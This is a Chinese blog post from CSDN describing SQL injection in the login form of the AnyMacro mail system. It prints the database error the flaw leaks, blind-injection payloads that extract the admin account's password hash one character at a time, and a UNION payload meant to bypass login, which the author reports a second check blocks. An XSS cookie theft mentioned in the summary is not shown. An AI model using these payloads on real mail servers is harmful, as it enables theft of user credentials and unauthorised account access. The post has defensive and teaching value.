AnyMacro邮件系统SQL注入漏洞和XSS漏洞

本文详细介绍了AnyMacro邮件系统存在的SQL注入和XSS漏洞。通过SQL注入,攻击者可获取用户加密后的密码,但由于加密算法未知,无法破解。系统采用两重验证,使得单纯SQL注入无法绕过。同时,文章揭示了系统的XSS漏洞,允许通过特定手段盗取用户cookie,威胁用户会话安全。
摘要由CSDN通过智能技术生成
AnyMacro邮件系统在早期版本的用户登录处存在SQL注入漏洞,通过漏洞可爆出用户加密后的密码:
在用户名处输入 ' 号后 将提示错误:
Query DB [select crypt, status from user where id = '' @mail.doamin.cn'] err:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '@mail.domain.cn'' at line 1

通过错误提示语句可知系统验证方式是先从用户表(user)中查询出用户的加密后密码(crypt)和用户的状态(status),然后通过比较加密后的用户输入的密码和数据库中查询出的加密后的密码来检测用户是否通过验证,所以无法通过构造万能密码来绕过验证,但是可以通过漏洞来爆出用户加密后的密码:
通过Live Http Headers 插件构造Post的数据,然后根据系统提示是用户不存在还是密码错误可猜解出用户加密后的密码(不知道加密后的密码的加密算法,所以无法破解,如果有谁知道,还请告知)
猜解加密后密码长度
' and (select crypt from user where id='admin@mail.domain.cn')>11  and '1'='1

猜解密码
' and (select ascii(mid(crypt,12,1)) from user where id='admin@mail.domain.cn')>96 and '1'='1

其实如果系统只是单纯的靠上面的第一重验证的话,还是可以绕过的,但是需要知道一个已知密码的账号(可以自己注册一个账号),然后通过SQL注入漏洞猜解出其加密的密码,再通过union来替换:
'+and+1=2+union+select+'12vfid3thEEak',status+from+user+where+id='admin@mail.domain.cn 
 通过Live Http Headers 构造上面的语句,就可以绕过第一重验证了,其中登录用户名处填任意账号,密码处填你自己知道账号的密码,语句的select 后面的字符串是你知道密码的加密后的字符串,这样就可以绕过第一重验证,但是很遗憾的是系统还采用了第二重验证,因为构造这条语句提交后会报另一个错误,大致的意思就是union的前后语句字段数不一致。所以无法靠构造语句来绕过验证。

手工猜解密码的速度太慢
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值